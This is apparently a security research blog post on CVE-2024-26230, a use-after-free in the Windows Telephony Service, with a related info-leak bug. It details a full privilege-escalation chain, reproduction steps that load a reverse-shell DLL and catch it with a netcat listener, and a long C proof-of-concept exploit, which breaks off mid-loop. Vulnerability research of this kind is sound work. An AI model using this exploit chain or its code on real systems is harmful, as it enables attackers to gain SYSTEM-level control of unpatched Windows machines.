CVE-2024-26230: Windows Telephony Service – It’s Got Some Call-ing Issues (Elevation of Privilege)

## Executive Summary

`CVE-2024-26230` is a critical vulnerability found in the Windows Telephony Service (TapiSrv), which can lead to an elevation of privilege on affected systems. The exploit leverages a use-after-free in `FreeDialogInstance`. By manipulating the registry, an attacker controls memory allocation to create a fake object, triggering the UAF in `TUISPIDLLCallback` to gain code execution. This is further chained with techniques to bypass mitigations like CFG and ultimately load a malicious DLL, escalating privileges to SYSTEM via PrintSpoofer. In this blog post, we will take an in-depth look at how this vulnerability works, how it can be exploited, and the mitigation strategies that can help defend against it.

## Vulnerability Overview

### Affected Products

**Product**Windows Telephony Service (TapiSrv)**Vendor**Microsoft**Security Impact**Elevation of Privilege**CVE ID**CVE-2024-26230**CWE(s)**CWE-416 – Use After Free

### CVSS3.1 Score

– **Base Score:** 7.8
– **Vector String:** `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

### Affected Software

– Version: `Microsoft Windows 10 Version 22H2 Build 19045.3803 AMD64`

## Description of Vulnerability

The vulnerability exists within the `FreeDialogInstance` function in `C:WindowsSystem32tapisrv.dll`. Specifically, it occurs when the function deallocates the `GOLD` object while the original context handle retains a pointer to it, leading to a use-after-free condition.

Here are the primary reasons for the occurrence of this bug and how it can be exploited:

1. The `FreeDialogInstance` function deallocates the `GOLD` object (identified by the magic number `0x474F4C44`) without ensuring that the context handle object no longer references it. This issue is evident at both **Line 1** and **Line 2**.

1. The `TUISPIDLLCallBack` function attempts to use the freed `GOLD` object, which is now a dangling pointer. It accesses a virtual function at `v12 + 0x20` and subsequently invokes it, triggering the use-after-free vulnerability.

In typical use-after-free exploitation scenarios, we seek a suitable object to serve as an exploit primitive. In kernel mode, a variety of objects can be leveraged for this purpose. However, in user mode—where `TAPISrv` operates as an RPC service—the vulnerability can only be exploited with objects within the same process. As such, without an appropriate object already present in the target process, direct exploitation of the vulnerability is not possible.

In this case, we need to think outside the box. Instead of searching for a suitable object to serve as an exploit primitive, the goal is to find a primitive that allows us to create a memory allocation where both the size and content can be fully controlled. With this approach, we can craft a fake object that can be used to exploit the vulnerability.

One such primitive is a dispatch function named `TRequestMakeCall`, which opens the registry key `Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities` and allocates memory to store the key values.

By inspecting the registry with `Registry Editor`, we can confirm that this registry key is configured with `Full Control` permissions for the user.

Since this key is fully user-controlled, it allows us to manipulate the value of the `RequestMakeCall` key. This gives us control over both the allocated heap size and the content of the memory.

## Windows Telephony Service

The Windows Telephony Service is a component of Windows RPC (Remote Procedure Call), allowing us to interact with it as we would with any standard RPC service.

To utilize RPC, some knowledge with Interface Definition Language (IDL) is required.

### Interface Definition Language (IDL)

IDL stands for Interface Definition Language, which is used to define the interfaces of an RPC server. It is an attributed programming language and is similar to a C header file. Understanding IDL is important because it helps you know the interfaces that `Telephony` provides and understand how we can communicate with `Telephony` services. But don’t worry—it’s quite simple. Let’s take a deep dive together!

The telephony service provides three interfaces, which can be defined as follows:

“`
interface tapsrv { typedef [context_handle] void* PCONTEXT_HANDLE_TYPE; long ClientAttach( [out][context_handle] PCONTEXT_HANDLE_TYPE* pphContext, [in] long lProcessID, [out]long* phAsyncEventsEvent, [in, string] const wchar_t* pszDomainUser, [in, string] wchar_t* pszMachine ); void ClientRequest( [in] PCONTEXT_HANDLE_TYPE phContext, [in, out, length_is(*plUsedSize), size_is(lNeededSize)] unsigned char* pBuffer, [in] long lNeededSize, [in, out] long* plUsedSize ); void ClientDetach( [in, out] PCONTEXT_HANDLE_TYPE* pphContext ); };
“`

### ClientRequest

The most important interface here, is the `ClientRequest`. It allows you to communicate, or in other terms, use various functions that Telephony offers in `gaFuncs` table.

`gaFuncs` in IDA.

As you can see, the `ClientRequest` function takes a buffer, `pBuffer`, as its second argument. The `pBuffer` structure is defined as follows:

– The first element (at index 0) is always the offset to the functions in the
`gaFuncs` table. For example: – To invoke `GetUIDllName`, the offset is 0x1.
– To invoke `TUISPIDLLCallback`, the offset is 0x2, and so on.
– The second element in the buffer represents the first argument for the invoked function. The third element corresponds to the second argument, and so forth.

– Each element in the buffer occupies 4 bytes, which is equivalent to the size of an integer.

To invoke the `GetUIDllName`, your pseudo-code would be:

“`
write_func_offset((void*)buffer, GaFuncs::GetUIDllName); // first one at 0th is always offset of the dispatch functions in gaFuncs table write_param((void*)buffer, 1, 1); // param1_GetUIDllName write_param((void*)buffer, 2, 3); // param2_GetUIDllName write_param((void*)buffer, 5, -1); // param5_GetUIDllName LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten);
“`

## Steps to Exploitation

Using the exploit primitive described above, the use-after-free vulnerability can be exploited with the following setup:

1. Use `GetUIDllName` to create a `GOLD` object.
2. Use `FreeDialogInstance` to free the `GOLD` object, thereby creating a dangling pointer.
3. Manipulate the registry key value for `TRequestMakeCall` to craft a fake object for the use-after-free scenario.
4. Finally, invoke `TUISPIDLLCallback` to trigger the use-after-free on the fake object, taking control of the program’s execution flow.

The visualization of these steps is shown below.

At this stage, we are able to control the RIP (Return Instruction Pointer) to point to any desired location. However, the **Control Flow Guard** mitigation prevents the creation of a ROP (Return-Oriented Programming) chain in this exploitation attempt. Further information on **Control Flow Guard** can be found in the following references:

Nevertheless, it remains possible to invoke Win32 functions imported by the binary. For example, I could invoke `VirtualAlloc` as below.

The exploitation steps to achieve `LoadLibraryW` to load our controlled DLL file are as follows:

– **Step 1:** Utilize the use-after-free exploit described above to invoke a call to the `malloc` function. If `malloc` is executed successfully, it will return a pointer to the allocated address. In `TUISPIDLLCallback`, the lower 32 bits of the returned value are written into the RPC input buffer and returned to the client. Consequently, this results in a useful information leak.

We successfully leaked lower 32 bit.

– **Step 2:** Utilize the leaked lower 32 bits above to invoke a call to `VirtualAlloc`, enabling the creation of a Read-Write-Execute (RWX) memory region.
– **Step 3:** Copy the DLL path to the previously created RWX memory region using `memcpy_s`. The copy operation is limited to three characters at a time so we have to repeat this step for a few times.

– **Step 4:** Invoke a call to `LoadLibrary` with the path to our `hack.dll`(a reverse shell) that was copied into the RWX memory region in **Step 3**. This will result a shell with `NT AuthorityNetwork Service` privileges.

– **Step 5:**: `NT Authority/Network Service` have `SeImpersonate` privilege. The `SeImpersonate` is a Windows privilege that grants a user or process the ability to impersonate the security context of another user or account. This privilege allows a process to assume the identity of a different user, enabling it to perform actions or access resources as if it were that user. However, if not properly managed or granted to unauthorized users or processes, the `SeImpersonate` can pose a significant security risk. In this case, we can achieve higher privilege by using `PrintSpoofer` exploit to leverage to `NT Authority/System`. For further details on PrintSpoofer exploit, see PrintSpoofer

## CVE-2024-43626 – An Out-of-Bound Write bug in GetPriorityList leads to Information Leak in SetPriorityList

While conducting further research into this n-day vulnerability, my colleague Chen Le Qi discovered an interesting bug in one of the functions used during the exploitation process. Special thanks to him for his invaluable help and for sharing insights during the writing of this blog post.

This bug is located in the `GetPriorityList` function within `tapisrv.dll` and allows for an Out-of-Bound Write primitives, and later on, an information leak in `SetPriorityLeak`. It allows an attacker to leak the address of `GOLD` objects.

The `GetPriorityList` function was used to spray the heap during earlier exploitation steps. Below are more details about what it does:

1. The function invokes
`RegQueryValueExW` to retrieve length of the value from a registry key.
2. Upon success, it allocates memory on the heap based on the length of the registry key’s value.

3. It invokes
`RegQueryValueEx` again, gets the value and converts the registry key’s value to uppercase using `_wcsupr`, and stores the result ins `*a3`(the third argument).

The issue occurs in the final step when the function invokes `_wcsupr` to convert the registry key’s value to uppercase. The `_wcsupr` function and the `GetPriorityList` does not verify whether the input string is null-terminated. Consequently, if the registry key’s value is not null-terminated, `_wcsupr` will read beyond the buffer until it encounters a null byte ( “). This can result in an information leak later on, as the extra data read is stored in `*a3` and returned to the caller.

After the buffer `*a3` is returned, it is subsequently used in the `SetPriorityList` function.

As shown in the image above, the `lstrlenW` function is called to calculate the length of the `lpString` that is saved to the registry key. Unfortunately, `lstrlenW` assumes that the input string is null-terminated. If the string becomes corrupted in `GetPriorityList` and is then passed to `SetPriorityList`, it will be saved to the registry key. This behavior can result in an information leak.

There are two code paths that could be used to exploit this vulnerability:

– `ClientAttach`-> `ClientDetach` with `RequestMediaCall` key.
– `LSetAppPriority` with `RequestMakeCall` key.

In recent updates, Microsoft addressed this bug by explicitly null terminating the string, preventing `_wcsupr` from reading beyond the allocated buffer. This single patch should also address two bugs in both `GetPriorityList` and `SetPriorityList`, as it is `GetPriorityList` that accepts a string without null-termination.

This bug has been assigned the name CVE-2024-43626 and got patched in November 12, 2024 Updates. Interestingly, this is not the only issue Microsoft addressed in the patch. If we take a closer look, another patch can be observed at `Line 20`, where an integer overflow check is implemented on `cbData`. The `cbData` variable represents the length of the registry key’s value, as obtained during the initial invocation of `RegQueryValueExW` within `GetPriorityList`.

After the `cbData` value is retrieved, it is used to allocate memory for the registry key’s value by invoking `HeapAlloc` with a size of `cbData + 2`. If `cbData` reach the maximum value of a DWORD, this could result in an integer overflow.

However, I was unable to create a registry key value of such a large size during testing. This limitation exists because the length of a registry key’s value is limited. If anyone has insights into creating large registry key values, please comment down below, I would greatly appreciate your knowledge. Thank you in advance!

## Exploit Reproduction (Optional)

– Start the `Telephony` service with command `sc start Tapisrv`. Telephony service is not running by default, but you could start it with normal user privilege. After started, it will run under `NT Authority/Network Services` privilege.

– Verify if Telephony service is running with command `sc query Tapisrv`

– Copy the
`hack.dll` to Desktop under path `C:Usersuser01Desktophack.dll`. It’s a simple reverse shell, source code could be found in attached `Proof of Concept`.
– Run
`Set_Null_DACL.exe` to set DACL of `hack.dll` to NULL, which means everyone could access. Source code for this program could be found in attached `Proof of Concept`.

– Run the exploit

– On attacker machine, run netcat to listen for reverse shell at port 13338 with command `nc -nlvp 13338`.

– Run `whoami /priv` to verify that `NT Authority/Network Service` have `SeImpersonate` privilege.

– Using `PrintSpoofer` exploit to achieve `NT Authority/System`. For further details, see PrintSpoofer

## Detection Guidance

Due to the nature of the vulnerability, an attacker needs to start the Telephony service as a normal user and the service could crash during exploitation. Consequently, users should implement measures to prevent normal users from starting the Telephony service or to monitor and log any instances when the service crashes.

## Suggested Mitigations

– Implement restrictions to prevent the normal user to start Telephony Service.

## Proof-of-Concept

_PoC_CVE_2024_26230.exe_ (exploit)

“`
#include #include #include #include #include #include #include #include #include #include #include

#include “RpcHelper.h” #include “tapsrv_h.h” #pragma comment(lib, “Wtsapi32.lib”) #pragma comment(lib, “rpcrt4.lib”) #pragma comment(lib, “userenv.lib”) void __RPC_FAR* __RPC_USER MIDL_user_allocate(size_t len) { return malloc(len); } void __RPC_USER MIDL_user_free(void __RPC_FAR* ptr) { free(ptr); } // GaFuncs enum GaFuncs : uint32_t { GetAsyncEvents = 0, GetUIDllName, TUISPIDLLCallback, FreeDialogInstance, LAccept, LAddToConference, LAgentSpecific, LAnswer, LBlindTransfer, LClose, LCompleteCall, LCompleteTransfer, LDeallocateCall, LDevSpecific, LDevSpecificFeature, LDial, LDrop, LForward, LGatherDigits, LGenerateDigits, LGenerateTone, LGetAddressCaps, LGetAddressID, LGetAddressStatus, LGetAgentActivityList, LGetAgentCaps, LGetAgentGroupList, LGetAgentStatus, LGetAppPriority, LGetCallAddressID, LGetCallInfo, LGetCallStatus, LGetConfRelatedCalls, LGetCountry, LGetDevCaps, LGetDevConfig, LGetIcon, LGetID, LGetLineDevStatus, LGetNewCalls, LGetNumAddressIDs, LGetNumRings, LGetProviderList, LGetRequest, LGetStatusMessages, LHandoff, LHold, LInitialize, LMakeCall, LMonitorDigits, LMonitorMedia, LMonitorTones, LNegotiateAPIVersion, LNegotiateExtVersion, LOpen, LPark, LPickup, LPrepareAddToConference, LProxyMessage, LProxyResponse, LRedirect, LRegisterRequestRecipient, LReleaseUserUserInfo, LRemoveFromConference, LSecureCall, LSendUserUserInfo, LSetAgentActivity, LSetAgentGroup, LSetAgentState, LSetAppPriority, LSetAppSpecific, LSetCallData, LSetCallParams, LSetCallPrivilege, LSetCallQualityOfService, LSetCallTreatment, LSetDefaultMediaDetection, LSetDevConfig, LSetLineDevStatus, LSetMediaControl, LSetMediaMode, LSetNumRings, LSetStatusMessages, LSetTerminal, LSetupConference, LSetupTransfer, LShutdown, LSwapHold, LUncompleteCall, LUnhold, LUnpark, PClose, PDevSpecific, PGetButtonInfo, PGetData, PGetDevCaps, PGetDisplay, PGetGain, PGetHookSwitch, PGetID, PGetIcon, PGetLamp, PGetRing, PGetStatus, PGetStatusMessages, PGetVolume, PInitialize, POpen, PNegotiateAPIVersion, PNegotiateExtVersion, PSetButtonInfo, PSetData, PSetDisplay, PSetGain, PSetHookSwitch, PSetLamp, PSetRing, PSetStatusMessages, PSetVolume, PShutdown, TRequestDrop, TRequestMakeCall, TReadLocations, TWriteLocations, TAllocNewID, TPerformance, LConditionalMediaDetection, LSelectExtVersion, PSelectExtVersion, NegotiateAPIVersionForAllDevices, MGetAvailableProviders, MGetLineInfo, MGetPhoneInfo, MGetServerConfig, MSetLineInfo, MSetPhoneInfo, MSetServerConfig, LMSPIdentify, LReceiveMSPData, LGetCallHubTracking, LGetCallIDs, LGetHubRelatedCalls, LSetCallHubTracking, PrivateFactoryIdentify, LDevSpecificEx, LCreateAgent, LCreateAgentSession, LGetAgentInfo, LGetAgentSessionInfo, LGetAgentSessionList, LGetQueueInfo, LGetGroupList, LGetQueueList, LSetAgentMeasurementPeriod, LSetAgentSessionState, LSetQueueMeasurementPeriod, LSetAgentStateEx, LGetProxyStatus, LCreateMSPInstance, LCloseMSPInstance, TSetEventMasksOrSubMasks, TGetEventMasksOrSubMasks, TSetPermissibleMasks, TGetPermissibleMasks, MGetDeviceFlags, LGetCountryGroups, LGetIDEx, PGetIDEx }; // exploit void write_func_offset(void* buffer, uint32_t offset) { *(int*)buffer = offset; } void write_param(void* buffer, uint32_t n, int value) { *((int*)buffer + 1 + n) = value; // write int 8 bytes to buffer } int read_param(void* buffer, uint32_t n) { return *((int*)buffer + 1 + n); } int create_gold(PCONTEXT_HANDLE_TYPE& context) { // call GetUIDllName to create “GOLD” object uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t GetUIDllName_Offset = GaFuncs::GetUIDllName; // ClienRequest took input RPC buffer // The buffer[0] is always the offset in gaFuncs table of the function you want to call, for example, GetUIDllName is 1. // Next is parameters for that function. It’s extracted as an array in the code of the function, so you have to reverse each function to understand // It’s 4 bytes each, remember this. write_func_offset((void*)buffer, GaFuncs::GetUIDllName); // first one at 0th is always offset of the dispatch functions in gaFuncs table write_param((void*)buffer, 1, 1); // param1_GetUIDllName write_param((void*)buffer, 2, 3); // param2_GetUIDllName write_param((void*)buffer, 5, -1); // param5_GetUIDllName LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); return read_param((void *)buffer, 7); // return object id after created } int free_gold(PCONTEXT_HANDLE_TYPE& context, int gold_id) { uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t FreeDialogInstance_Offset = GaFuncs::FreeDialogInstance; write_func_offset((void *)buffer, FreeDialogInstance_Offset); write_param((void*)buffer, 1, gold_id); LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); return 0; } //——————————————————————————————- // k0shl pseudo-code https://whereisk0shl.top/post/a-trick-the-story-of-cve-2024-26230 //RegDeleteKeyValueW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, L”RequestMakeCall”); //RegOpenKeyW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, &hkey); //BYTE lpbuffer[0x5e] = { 0 }; //*(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = (DWORD)0x40000018; //*(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // fake pointer //RegSetValueExW(hkey, L”RequestMakeCall”, 0, REG_BINARY, lpbuffer, 0x5E); void uaf_malloc(PCONTEXT_HANDLE_TYPE& context) { // Create fake object with Registry Key RequestMakeCall HKEY hKey = NULL; if (!RegDeleteKeyValueW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, L”RequestMakeCall”)) { // delete old RequestMakeCall to create new one if (!RegOpenKeyW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, &hKey)) { BYTE lpData[0x5e] = { 0 }; HMODULE hModule = GetModuleHandle(L”msvcrt.dll”); void* pFunc = GetProcAddress(hModule, “malloc”); *(PDWORD)((uint64_t)lpData + 0xE) = 0x40000018; *(PULONG_PTR)((ULONG_PTR)lpData + 0x1E) = (uint64_t)pFunc; RegSetValueExW(hKey, L”RequestMakeCall”, 0, REG_BINARY, lpData, 0x5E); } } // Craft RPC request call TRequestMakeCall to trigger the allocation uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TRequestMakeCall_Offset = GaFuncs::TRequestMakeCall; write_func_offset((void*)buffer, TRequestMakeCall_Offset); //write_param((void*)buffer, 1, 0x40000018); // magic number //write_param((void*)buffer, 2, 3); // constant value for case 3 LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); } DWORD trigger_uaf(PCONTEXT_HANDLE_TYPE& context) { // Craft RPC request call TUISPIDLLCallback to trigger the call to virtual function in dangling pointer uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TUISPIDLLCallback_Offset = GaFuncs::TUISPIDLLCallback; write_func_offset((void*)buffer, TUISPIDLLCallback_Offset); write_param((void*)buffer, 1, 0x40000018); write_param((void*)buffer, 2, 3); LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); DWORD leak = *(int*)((void*)buffer); return leak; } void uaf_virtualalloc(PCONTEXT_HANDLE_TYPE& context) { // Create fake object with Registry Key RequestMakeCall HKEY hKey = NULL; if (!RegDeleteKeyValueW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, L”RequestMakeCall”)) { // delete old RequestMakeCall to create new one if (!RegOpenKeyW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, &hKey)) { BYTE lpData[0x5e] = { 0 }; HMODULE hModule = GetModuleHandle(L”KERNELBASE.dll”); void* pFunc = GetProcAddress(hModule, “VirtualAlloc”); *(PDWORD)((uint64_t)lpData + 0xE) = 0x40000018; *(PULONG_PTR)((ULONG_PTR)lpData + 0x1E) = (uint64_t)pFunc; RegSetValueExW(hKey, L”RequestMakeCall”, 0, REG_BINARY, lpData, 0x5E); } } // Craft RPC request call TRequestMakeCall to trigger the allocation uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TRequestMakeCall_Offset = GaFuncs::TRequestMakeCall; write_func_offset((void*)buffer, TRequestMakeCall_Offset); //write_param((void*)buffer, 1, 0x40000018); // magic number //write_param((void*)buffer, 2, 3); // constant value for case 3 LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); } void trigger_uaf_virtualalloc(PCONTEXT_HANDLE_TYPE& context, int leaked_address) { int buffer_size = 0x40000000; void* buffer = malloc(0x40000000); memset(buffer, 0, 0x40000000); uint32_t TUISPIDLLCallback_Offset = GaFuncs::TUISPIDLLCallback; write_func_offset((void*)buffer, TUISPIDLLCallback_Offset); write_param((void*)buffer, 1, 0x40000018); // arg1 of virtualalloc – mem address write_param((void*)buffer, 2, 3); // arg2 of virtualalloc – type write_param((void*)buffer, 3, leaked_address); // 3rd argument is flAllocationType MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000) write_param((void*)buffer, 4, 0x40); // DWORD LONG byteWritten = 60; ClientRequest(context, (unsigned char*)buffer, 0x40000000, &byteWritten); // set 3rd param to 0x40000000 for predictable address } void uaf_memcpy_s(PCONTEXT_HANDLE_TYPE& context, int magic) { // Create fake object with Registry Key RequestMakeCall HKEY hKey = NULL; if (!RegDeleteKeyValueW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, L”RequestMakeCall”)) { // delete old RequestMakeCall to create new one if (!RegOpenKeyW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, &hKey)) { BYTE lpData[0x5e] = { 0 }; HMODULE hModule = GetModuleHandle(L”msvcrt.dll”); void* pFunc = GetProcAddress(hModule, “memcpy_s”); *(PDWORD)((uint64_t)lpData + 0xE) = magic; *(PULONG_PTR)((ULONG_PTR)lpData + 0x1E) = (uint64_t)pFunc; RegSetValueExW(hKey, L”RequestMakeCall”, 0, REG_BINARY, lpData, 0x5E); } } // Craft RPC request call TRequestMakeCall to trigger the allocation uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TRequestMakeCall_Offset = GaFuncs::TRequestMakeCall; write_func_offset((void*)buffer, TRequestMakeCall_Offset); //write_param((void*)buffer, 1, 0x40000018); // magic number //write_param((void*)buffer, 2, 3); // constant value for case 3 LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); } void uaf_loadlibraryw(PCONTEXT_HANDLE_TYPE& context) { HKEY hKey = NULL; if (!RegDeleteKeyValueW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, L”RequestMakeCall”)) { // delete old RequestMakeCall to create new one if (!RegOpenKeyW(HKEY_CURRENT_USER, L”Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities”, &hKey)) { BYTE lpData[0x5e] = { 0 }; HMODULE hModule = GetModuleHandle(L”KERNELBASE.dll”); void* pFunc = GetProcAddress(hModule, “LoadLibraryW”); *(PDWORD)((uint64_t)lpData + 0xE) = 0x40000018; *(PULONG_PTR)((ULONG_PTR)lpData + 0x1E) = (uint64_t)pFunc; RegSetValueExW(hKey, L”RequestMakeCall”, 0, REG_BINARY, lpData, 0x5E); } } // Craft RPC request call TRequestMakeCall to trigger the allocation uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TRequestMakeCall_Offset = GaFuncs::TRequestMakeCall; write_func_offset((void*)buffer, TRequestMakeCall_Offset); //write_param((void*)buffer, 1, 0x40000018); // magic number //write_param((void*)buffer, 2, 3); // constant value for case 3 LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); } DWORD trigger_uaf_loadlibraryw(PCONTEXT_HANDLE_TYPE& context) { uint8_t buffer[1024]; memset(buffer, 0x00, 1024); uint32_t TUISPIDLLCallback_Offset = GaFuncs::TUISPIDLLCallback; write_func_offset((void*)buffer, TUISPIDLLCallback_Offset); write_param((void*)buffer, 1, 0x40000018); // virtualalloc_addr write_param((void*)buffer, 2, 3); LONG byteWritten = (sizeof(buffer) / sizeof(*buffer)); ClientRequest(context, buffer, 1024, &byteWritten); DWORD leak = *(int*)((void*)buffer); return leak; } //——————————————————————————————- void run_exploit() { PCONTEXT_HANDLE_TYPE context = NULL; long AsyncEventsEvent{ 0 }; DWORD id = GetCurrentProcessId(); //std::cout = 0xc0000000) { leaked_addr = 0x100003000 – leak – 60 – 0x40100000; // 60 = 0x3c offset printf(“0x%xn”, leaked_addr); // finally calculated the offset needed break; } } // Step 5. Set-up UAF to call VirtualAlloc int ret8 = create_gold(context); free_gold(context, ret8); int ret9 = create_gold(worker_context); free_gold(context, ret9); uaf_virtualalloc(context); trigger_uaf_virtualalloc(worker_context, leaked_addr); // VirtualAlloc at 0x400000018 (RCX), with allocation type set to 0x3 printf(“- VirtualAlloc at 0x400000018n”); // Step 6. Set-up UAF to call memcpy_s to load our dll path to memory for LibraryW call later DWORD virtualalloc_addr = 0x40000018; int ret10, ret11; LPCWSTR dll_path = L”C:\Users\user01\Desktop\hack.dll”; size_t size = wcslen(dll_path) * 2; size = (size + 3 – 1) / 3 * 3; int n = 0; int count = size / 3; while (n